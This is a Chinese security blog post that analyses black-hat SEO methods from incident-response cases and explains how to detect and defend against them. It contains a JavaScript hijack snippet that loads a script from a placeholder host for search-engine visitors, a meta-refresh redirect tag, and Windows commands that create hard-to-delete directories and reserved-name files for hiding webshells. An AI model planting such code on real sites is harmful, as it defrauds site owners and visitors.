黑帽SEO手法剖析

视而不见,谓合道於希夷;挹之则盈,方同功於造化

  申明:本文写于一年前,由于当初项目原因一直没公开发布,最近对其内容稍做了修改并决定分享出来。

  首先得说黑帽SEO是个老话题,我不难想想评论区必定有人吐槽此手法已经由来已久,作者有炒冷饭的嫌疑。我对此观点表示认可,然而细细回味之后,却又感到无奈不解。一个早已被用烂的黑产手法,一个每年给互联网产业造成巨大损失的黑色手段,为何能一直延续至今?是技术上难以攻破,还是利益驱使下选择视而不见?
  当我发现公开资源中对此黑产手法的介绍寥寥无几且并不详细时,原因便可想而知了。为了营造了一个良好的互联网环境,我在此结合实际案列对黑帽SEO这种黑产手段进行剖析介绍,希望能够使安全界同道引起共鸣,共同抵制。由于距本文撰写已过去一年之久,而此期间我已不在研究相关技术,因此若文章内容有任何偏差及谬误请谅解。

插曲:有趣的是,就在前几天有位朋友询问了我关于黑帽SEO方面的问题,原因是他一位朋友运营的一个网站,页面莫名其妙出现了赌博博彩的内容,删除后又会自动生成,其十分苦难便寻求他帮忙。

黑帽seo概念

  SEO全称为搜索引擎优化,是指通过站内优化、站外优化等方式,提升搜索引擎收录排名。既然有SEO技术,便会有相应的从业人员,他们被称为白帽SEO,专指通过公正SEO手法,帮助提升站点排名的专业人员。
  当然有白便会有黑,由于白帽SEO优化的过程将会十分漫长,一个新站想要获取好的排名,往往需要花上几年时间做优化推广。因此一些想要快速提升自身网站排名的小伙伴,便开始在SEO上研究作弊手法,从而诞生了黑帽SEO。黑帽SEO是指通过作弊手段,让站点快速提升排名的一类SEO技术,或者说是黑客技术,比如说:黑链(暗链)、站群、网站劫持(搜索引擎劫持)、桥页等,黑帽SEO能够快速提升排名,但毕竟是违规作弊行为,容易被K。

SEO的一些黑色手法

  黑帽SEO的手法很多,并且在不断地更新换代,其中最常见的包括利用泛解析做站群,入侵高权重网站挂暗链,入侵高权重网站做网页劫持,篡改高权重网站网页内容,利用高权重网站二级目录做推广页面,修改nginx配置做目录反向代理等等。接下来我结合实际案例,介绍一些常用的手段。

利用泛解析建立泛二级域名站群

  利用DNS泛解析可以快速建立站群,因为一个一级域名便可以衍生出无数个二级域名,当然一般需要借助站群工具,因为建立站群需要有很多内容不同的页面,手工建立显然不可能。而seo人员大费周章地建立站群的目的,便是能够快速吸引大量的搜索引擎爬虫,增加网站在搜索引擎中的收录量。以下是某个泛二级域名站群案例截图:

  需要说明的是,以上截图中的二级域名并不是通过一条条dns解析记录去绑定的,解析里面设置的是*,也就是泛解析。而服务器端有程序或者代码去控制当构造不同的二级域名访问时,会返回不同的网页内容,也就让搜索引擎误认为每个二级域名都是一个单独的网站。
  泛解析有很多优点,比如对用户友好(即使输错二级域名也能跳转到目标网站),又能够更快速地被搜索引擎收录等。基于这些优点,很多站长会选择用此方式来增加网站收录,然而如果没有妥善的使用泛解析可能会带来难以想象的危害。

利用泛解析做黑产

利用泛解析做黑帽seo的方式也有很多种,基于是否需要入侵网站以及dns服务器,我分为入侵法与非入侵法来介绍。

入侵法

真实案例:几个月前我们发现一个重要政府网站出现了大量博彩页面,取证截图如下:

  经过分析我发现,此手法利用的便是泛解析,从截图中可以看到出现了大量此政府网站的二级甚至三级域名,而这些域名都是随机构造的,访问后会跳转到博彩色情等非法页面,而访问一级域名又是正常的内容。且先不分析跳转的过程中用到了哪些技术,单从泛解析记录就不难看出,此网站被人篡改了dns解析记录。我们有理由相信,黑客获取了此域名的dns解析控制权限,并将此域名泛解析到黑客准备好的服务器上。那么黑客这么做的目的很明显,为了让搜索引擎快速收录二级或者三级域名,从而达到引流到非法页面的目的。
  我们通过分析此政府网站被入侵特征推导出此事件过程应该是,黑客通过入侵手段获取到了该政府网站dns解析权限(如何获取暂不可知),然后通过添加泛解析记录,将此记录指向黑客准备好的服务器,而此服务器上有动态语言去实现通过不同二级域名访问,返回不同的页面结果功能。由于政府网站本身权重很高,因此二级域名页面被百度快速收录,达到为非法页面引流的目的。这种手法的好处在于不必入侵网站,而只要获取到域名解析权限即可(当然获取域名解析权限也并非易事)。

非入侵法

真实案例:几天前我们发现有一个网站(sdddzg.cn)利用泛解析做恶意推广,查看网站特征后,我们尝试构造不同的二级域名访问,取证截图如下。
构造二级域名访问:

最终返回结果:

  可以看到返回结果对网页内容以及url做了处理,当我们尝试构造不同的二级域名访问,发现返回结果内容都不一样,然而通过获取ip发现来自同一台服务器。首先我们不难想到,此域名一定是做了泛解析的,那么它是如何控制网页内容变化的呢?
查看网页源码可以看到jiang.gov.cn网页源码被嵌入到了目标网页中。

  那么其实想要实现此技术也并不难,可以在服务端上用代码实现。首先通过获取请求的二级域名地址,然后去访问该二级域名内容获取源码镶嵌到自己的网页内。如果构造的二级域名内容不是一个完整的域名地址(如:1.sdddzg.cn),则随机返回一段源码。这种手法的好处在于不必入侵网站,只需要自己搭建一台服务器即可,但推广效果没有那么好。

利用网站暗链

  在网页中植入暗链这种手法已经相对落伍了,目前用的也比较少,因为搜索引擎已经能够对此作弊手法进行检测。为了介绍知识的完整性,此处我简单介绍一下。暗链也称为黑链,即隐蔽链接 hidden links,是黑帽SEO的作弊手法之一。挂暗链的目的很简单,增加网站外链,提高网站排名;实现方式主要分为几种:利用CSS实现、利用JS实现、利用DIV+JS实现等。
具体介绍请参考:黑帽SEO之暗链

利用高权重网站,构造关键词URL做推广

真实案例:一年前当我刚研究黑帽SEO的时候发现了一个有趣的黑帽SEO方式,虽然手法比较拙劣老套,但却也有成效。于是在写这篇文章的时候,我特意找了一个典型案例,与大家分享,取证截图如下。

  将URL中的参数内容显示到网页内,这原本是某些网页的一种特殊功能。以往的经验告诉我这种特性如果没有处理好,可能会引发XSS漏洞,而今我不得不认识到,这种特性也一直被用于黑帽seo。通过在url或者post数据包(常见于搜索框功能)中构造推广关键词,再将有推广关键词页面添加到蜘蛛池中,使搜索引擎收录就能达到推广的目的。一般此种手法常被用来推广qq号,盈利网站等(类似打广告),而当我们通过搜索引擎搜索某些关键词时(如色情资源),就会显示出此页面,从而达到推广自身账号或者网站的目的,当然这只是一种推广手段,并不太涉及引流。

利用网页劫持引流

  网页劫持,又叫网站劫持或者搜索引擎劫持,是目前黑帽SEO中最流行的一种做法。其原因可以简单概括为:易收录、难发现,易收录表现为搜索引擎尚没有很好的机制能够检测出此作弊手段,网页劫持手法仍然能够大量引流。难发现是指网页劫持手法比较隐蔽,一般非技术人员很难发现它的存在。
  网页劫持从手法上可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;
  网页劫持的表现形式可以是劫持跳转,也可以是劫持呈现的网页内容(与直接篡改网页内容不同),目前被广泛应用于私服、博彩等暴利行业。

网页劫持真实案例


  几个月前我处理了一起网页劫持案列,起因是某政府网站上出现了博彩相关内容(排除新闻页面),这显然是不合规的。排除管理员失误添加导致,恐怕此网站多半是被黑客入侵了。首先我访问了该记录上的链接,紧接着浏览器中出现了一个正常的政府页面,而也就须臾之间,网页瞬间又跳转到了博彩网页。
图一为正常政府页面:

图二为博彩页面:

  可以看到博彩页面的域名为www.0980828.com,显然不是先前的政府网站域名xxxx.gov.cn。看到此现象,再结合多年安全经验,我大致能够猜测此网站应该是被网页劫持了。通过分析以上过程的数据包,不难发现在该网站前端页面被嵌入了一段非法代码。

此代码存放在43.250.75.61服务器上,查看该服务器信息,发现其在日本。

而通过访问此段代码,返回内容则是跳转到www.0980828.com网站上。

  分析至此,我们不难发现,导致页面跳转的原因便是xxxx.gov.cn网页被非法嵌入了一窜代码,而此代码能够控制访问该网页时跳转到博彩页面。这是搜索引擎劫持最为基础且常见的一种方式,其变种甚多,类型方式也各异。最后我通过登录web服务器查看,发现了存在大量html文件被篡改,且都在文件开头被写入外部js引用。那么此入侵事件过程应该是,黑客通过web应用程序某些漏洞入侵服务器(实际是管理后台弱口令+任意文件上传),通过批量篡改服务器静态文件实现网页劫持的目的。网页劫持的手法非常多,并不是这一个案例就能概括的,更多详细情况请继续看下文介绍。

服务端劫持

  服务端劫持也称为全局劫持,此手法为修改网站动态语言文件,判断访问来源控制返回内容,从而达到网页劫持的目的。其特点往往是通过修改asp/aspx/php等后缀名文件,达到动态呈现网页内容的效果。
  Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本,然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问则返回正常页面。

客户端劫持

客户端劫持的手法也很多,但最常用的就两种:js劫持与Header劫持。

js劫持目的是通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。js植入手法是可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。

js劫持代码案例:
以下代码可以使通过搜索引擎搜索的并点击页面时,执行一段js并跳转到博彩页面;而直接输入网址访问网页时,跳转到一个404页面。

1
2
3
4
5
6
7
8
9
10
11
today=new Date();
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>');
}
else
{
window.location.href="../../404.htm";
}

  代码分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。

header劫持,就是在html代码的head中添加特殊标签,代码如下:

1
<meta http-equiv="refresh" content="10; url=http://thief.one">

header劫持利用的就是Meta Refresh Tag(自动转向)功能将流量引走。

直接篡改网页内容(比较低级)

  有些黑客在入侵网站后,喜欢直接篡改网页内容,比如放上自己的qq号,或者作为推广将网页篡改成非法页面。在此我对此做法的黑客表示鄙视,因为这是一种最恶劣最低级的手法。恶劣在于直接篡改网页内容,可能会导致网站无法挽回的损失;低级在于此手法极易被发现,起不到真正的引流推广作用。

利用高权重网站二级目录

  即黑客入侵网站后,在网站二级目录下创建很多自己做推广的页面。为了达到引流的目的黑客往往需要建立大量的二级目录页面,因此需要用到寄生虫程序来自动化的创建页面。此手法也需要入侵高权重网站,获取网站服务器权限。与网页劫持手法不同的是,此手法侧重点在于利用高权重网站自身的优势,在其目录下创建多个推广页面;而网页劫持侧重隐藏自身,其可以做到动态呈现网页内容给客户。因此在实际使用中,黑客经常结合两者使用。此手法与利用泛解析做黑帽seo的手法还是有明显差异的,虽然同样是利用高权重网站本身的优势,但泛解析利用的是二级域名,而此手法利用的是二级目录,当然两者有异曲同工之妙。
  利用高权重网站二级目录手法的案例与泛解析案例类似,这里不再详述。既然我前面提到此手法往往需要寄生虫程序的配合使用,那么我们来看看,何为寄生虫程序?它又有何玄机?

寄生虫(jsc)

  寄生虫是黑帽SEO常用的一种方法,通过侵入别人网站,植入寄生虫程序,自动生成各种非法页面。之所以叫做寄生虫是因为能够自己触发生成,而不是一次生成,例如在访问网页的时候触发,自动生成页面且形成链轮等。简单来说,寄生虫是一种程序,此程序的功能是能够自己创建网页文件,而创建的条件可以定制,比如说当有人访问某个页面时就会触发寄生虫程序生成一批新的网页文件,或者每天定时创建等等。
  我曾经在给一个客户处理应急响应事件时,便遇到过此类状况。每当我清理完所有恶意网页文件后,服务器上都会不时地自动生成一大批新的网页文件。令人头疼的是,当时我完全掌握不了生成新文件的规律。后来我们在一一排除web服务器上的文件时,发现了其中一个恶意的动态语言文件(由于种种原因,样本没有保留下来),此恶意文件就是类似寄生虫程序,会在我们访问此网站的某个页面触发,生成一批新的恶意页面。

寄生虫分类

  寄生虫分为动态与静态,动态寄生虫程序的就是会不断自动生成新的页面(如我上面所述案例),或者是刷新页面以后自动变化内容,动态寄生虫生成的恶意文件往往是asp/php后缀文件;而静态寄生虫程序生成的页面往往都是固定不变的内容,大多为html后缀文件。

寄生虫模板

  寄生虫程序生成的页面往往都是有固定模板的,模板的好坏有时也决定了是否能够被搜索引擎快速收录,以下是我收集的两种寄生虫程序生成的模板页面。
寄生虫模板案例一:

寄生虫模板案例二:

静态寄生虫挂二级目录案例

案例来自去年处理的一起入侵检测事件,我们发现目标网站上被挂了非法推广页面,如下图所示:

通过登录web服务器查看,我们发现了网站根目录下多了一个二级目录ds,而ds目录内放满了html文件,都是通过寄生虫生成的。(由于时间久远,html样本文件已丢失)

通过登录服务器日志分析,我们最终发现黑客是通过web应用程序漏洞获取到了服务器权限,并在该服务器上利用静态寄生虫程序创建了大量恶意的html后缀文件,并存放在ds目录下,其利用的便是高权重网站二级目录手法。

  以上占用大量篇幅介绍了很多黑帽seo的手法,也介绍了寄生虫程序这一自动生成网页文件的利器。那么黑帽seo是如何让这些非法页面快速被搜索引擎收录的呢?我们知道如果这些恶意推广的页面无法被搜索引擎收录,那么黑帽SEO就达不到预期的效果。起初在研究黑帽seo时我也一直在思考这个问题,按常理搜索引擎不应该会收录具有恶意内容的推广页面,而事实是目前我们随便在百度上搜site:.gov.cn 博彩或者site:.edu.cn 色情,就会出现一大批被挂上博彩色情的政府教育机构网站。显然这些页面目前还是能够很好地被搜索引擎收录,甚至能很快被收录,我曾经发现过几分钟内被收录的恶意页面。那么是搜索引擎故意为之,还是有人利用了搜索引擎的某些特征或者说漏洞?要理解这个问题,我想必须得介绍一下黑帽SEO又一大利器—蜘蛛池。

蜘蛛池

  蜘蛛池是一种通过利用大型平台权重来获得搜索引擎收录以及排名的一种程序。原理可以理解为事先创建了一些站群,获取(豢养)了大量搜索引擎蜘蛛。当想要推广一个新的站点时,只需要将该站点以外链的形式添加到站群中,就能吸引蜘蛛爬取收录。简单来说就是通过购买大量域名,租用大量服务器,批量搭建网站形成站群。而这些网站彼此之间形成链轮,网站内容大多为超链接,或者一些动态的新闻内容等。经过一段时间的运营,此站群每天就能吸引一定量的搜索引擎蜘蛛,蜘蛛的多少要看网站内容搭建的好坏以及域名的个数。当蜘蛛数量达到一个量级且稳定以后,就可以往里面添加想要推广的网页,比如通过黑帽SEO手段创建的非法页面。这一过程就好比在一个高权重网站上添加友情链接,会达到快速收录的目的。

蜘蛛池交易平台

  我随便百度了一下,发现互联网上存在很多蜘蛛池交易平台,即可通过互联网上的蜘蛛池推广恶意网页。这种方式省去了自己搭建蜘蛛池的麻烦,却也为黑帽seo人员提供了便利。在收集资料时,我挑选了其中一个交易平台,截图如下:

蜘蛛池站点案例

在为本篇文章收集黑帽SEO相关资料时,我发现了一款经典的蜘蛛池站点,在此分享。

其特点是内容动态生成,刷新页面发现内容随机改变

很明显此网站内容都是通过动态寄生虫程序生成的,且不断变化内容来增加百度对其收录。(百度目前对原创内容的收录率比较高)

几大搜索引擎收录情况

百度搜索引擎收录情况:

谷歌搜索引擎收录情况:

bing搜索引擎收录情况:

搜狗搜索引擎收录情况:

通过对比几大常用搜索引擎对此蜘蛛池站点的收录情况,我们不难看出这套蜘蛛池程序目前只对百度搜索引擎爬虫有效。当然78条的收录量对于一个蜘蛛池站点来说不算很高,说明百度对此手段已有所防范。

隐身的技术

  在处理的一些入侵应急响应事件中,我们发现有些网站被挂恶意页面达数月甚至数年之久,而在此期间管理员竟然毫无察觉。有时这并非是管理员的粗心大意,而是黑客过于狡猾。在了解了我之前所介绍的网页劫持手段后,我想你大概能了解这其中的缘由了,网页劫持能控制跳转控制页面呈现的内容,这便是难以被管理员发现的主要原因。除此之外,寄生虫程序能够自动生成网页也使得其生存能力很强,不易被根除。其次我们在发现网站被挂恶意网页后,通常会登录服务器进行查看,而有时我们很难找到被非法篡改或者被恶意植入的脚本文件,因为此类型文件被黑客精心地隐藏了起来。那么除了上述手段之外,黑客还有哪些手段来隐藏自身,使之生生不灭?

nginx二级目录反向代理技术

  通过配置nginx/apache等中间件配置文件设置目录代理,将服务器上某个目录代理到自己搭建服务器上的某个目录。即浏览者在打开thief.one/2016/目录时,实际访问到的资源是自己服务器上的某个目录(目标服务器会去自己服务器上拿数据)。这种手法不需要修改目标服务器网站源码,只需要修改中间件配置文件,不易被删除也不易被发现。

隐藏文件

  给文件设置属性隐藏。我曾经遇到过此类事件,当时我们一个技术人员通过肉眼选择了服务器上一批web目录下的文件进行copy。而当我们对这些文件进行扫描时,并未发现任何异常,一切都变得匪夷所思。而最后的结果让我们哭笑不得,原来恶意文件被设置成了属性隐藏,通过肉眼观察的技术人员并没有将此文件copy下来,因此这也算是一种有效的障眼法。

不死文件

不死文件指的是删除不了的webshell或者是非法页面文件(.html或者动态文件),此类事件在实际中没有遇到过,但理论上确实可行。

设置畸形目录

目录名中存在一个或多个. (点、英文句号)

1
md a..\

该目录无法被手工删除,当然命令行可以删除

1
rd /s /q a..\

特殊文件名

其实是系统设备名,这是Windows 系统保留的文件名,普通方法无法访问,主要有:lpt,aux,com1-9,prn,nul,con,例如:lpt.txt、com1.txt 、aux.txt,aux.pasp,aux.php等。

1
echo hello>\\.\c:\a..\aux.txt

畸形目录+特殊文件名
1
2
md c:\a..\
echo hello>\\.\c:\a..\aux.asp #注意:这里的路径要写绝对路径(上传的aux.php木马可以被执行)

删除:

1
rd /s /q \\.\c:\a..\

方法还有很多,不一一列举了。

如何检测自身网站是否被劫持?

  前面介绍了很多关于黑帽seo的手法,那作为站长或者运维该怎么去监控自身网站是否被入侵,且被黑帽seo利用了呢?这里不说如何检测入侵,因为这不是本文的范畴,我们只谈如何检测被黑帽seo利用,这里提供几个思路:
  第一种内部监控:可以监控服务器web目录下的文件改动情况,一般黑帽seo都需要改动web目录下的文件(新增文件,或更改文件内容)。当然有些只改变nginx配置就可以达到目的,因此nginx等服务器的配置文件也需要进行监控。
  第二种外部检测:黑帽seo手法从根本上是欺骗搜索引擎,因此检测本质上也可以从搜索引擎出发。检测网站在搜索引擎搜索显示下是否出现了敏感的内容,比如:博彩、色情等。当然由于网页劫持手法可以动态调控显示内容,比如不同地区点击返回不同的内容等,因此这需要我们的检测程序能够多维度得进行检测。

谁来为此买单?

  基于黑帽SEO大多数都为博彩赌博行业做推广,将会增加网民沉迷网络赌博的风险,纵观身边因为网络赌博而家破人亡的事情不在少数;而也有一部分黑帽SEO在为枪支弹药、毒品违禁药物做推广,更是为犯罪分子提供了便利。在此之前,我一直认为黑产只是暴利并无太大危害,然而通过对黑帽SEO的研究发现,其危害的绝不仅仅只是经济而已。那么这一切,应该由谁来买单?
  首先网站管理者难辞其咎,正因为管理员安全意识的淡薄,网站安全性不高,导致被入侵最终成为黑产的一部分。在我自身处理的几起类似事件中,网站管理员往往是一副无关紧要的态度,即使网站已经被黑帽SEO利用,也觉得没有对网站本身造成什么危害,觉悟性不高。
  其次搜索引擎应该担负一定的责任,因为黑帽SEO行为主要针对搜索引擎,说白了就是利用搜索引擎算法漏洞,提升非法网站权重。国内大多数网民上网都使用搜索引擎。搜索引擎既然有权利决定显示哪些资源给用户,那么也必须有义务确保这些资源的安全性、正规性。

如何制止与防御?

如果您是网民,制止黑帽seo最好的方式就是科学上网,发现非法网站及时提交到安全联盟或向搜索引擎举报。
如果您是网站管理员,请做好自身网站的安全建设,及时补漏;若已发现被入侵,及时联系技术人员处理。

谈谈心

  当在写这篇文章前,我思索着尽量能够全面地介绍黑帽SEO知识以及手法。当开始写这篇文章的时候,我便有点无从下手,因为涉及知识面太广,手法又非常丰富,我研究黑帽SEO不久了解也不算深入。而当我写完这篇文章的时候,我觉得这一切才刚刚开始,也许我此刻抒写的正是黑客几年前或十几年前所用或者所流行的技术。

传送门

更多黑帽SEO基础知识,请参考以下链接。

【黑帽SEO系列】基础知识
【黑帽SEO系列】暗链
【黑帽SEO系列】网页劫持
【黑帽SEO系列】页面跳转


转载请说明出处:黑帽SEO手法剖析|nMask’Blog
本文地址:http://thief.one/2017/05/15/1

本文标题:黑帽SEO手法剖析

文章作者:nmask

发布时间:2017年09月28日 - 10:09

最后更新:2019年08月16日 - 15:08

原始链接:https://thief.one/2017/09/28/1/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

nmask wechat
欢迎您扫一扫上面的微信公众号,订阅我的博客!
坚持原创技术分享,您的支持将鼓励我继续创作!

热门文章推荐: